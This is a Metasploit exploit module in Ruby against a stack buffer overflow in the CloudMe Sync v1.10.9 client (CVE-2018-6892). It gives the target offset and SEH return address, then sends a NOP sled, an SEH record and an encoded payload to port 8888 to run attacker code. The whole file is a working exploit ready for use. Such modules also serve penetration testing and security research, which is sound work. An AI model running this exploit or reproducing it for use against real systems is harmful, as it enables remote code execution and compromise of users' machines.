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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = GreatRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Seh
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'CloudMe Sync v1.10.9',
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      'Description'    => %q{
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        This module exploits a stack-based buffer overflow vulnerability
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        in CloudMe Sync v1.10.9 client application. This module has been
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        tested successfully on Windows 7 SP1 x86.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'hyp3rlinx',      # Original exploit author
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          'Daniel Teixeira' # MSF module author
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        ],
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      'References'     =>
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        [
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          [ 'CVE', '2018-6892'],
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          [ 'EDB', '44027' ],
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        ],
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      'DefaultOptions' =>
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        {
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          'EXITFUNC' => 'thread'
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        },
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      'Platform'       => 'win',
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      'Payload'        =>
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        {
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          'BadChars'   => "\x00",
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        },
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      'Targets'        =>
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        [
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          [ 'CloudMe Sync v1.10.9',
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            {
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              'Offset' => 2232,
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              'Ret'    => 0x61e7b7f6
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            }
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          ]
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        ],
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      'Privileged'     => true,
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      'DisclosureDate' => '2018-01-17',
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      'DefaultTarget'  => 0))
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    register_options([Opt::RPORT(8888)])
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  end
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  def exploit
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    connect
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    buffer = make_nops(target['Offset'])
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    buffer << generate_seh_record(target.ret)
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    buffer << payload.encoded
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    sock.put(buffer)
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    handler
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  end
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end
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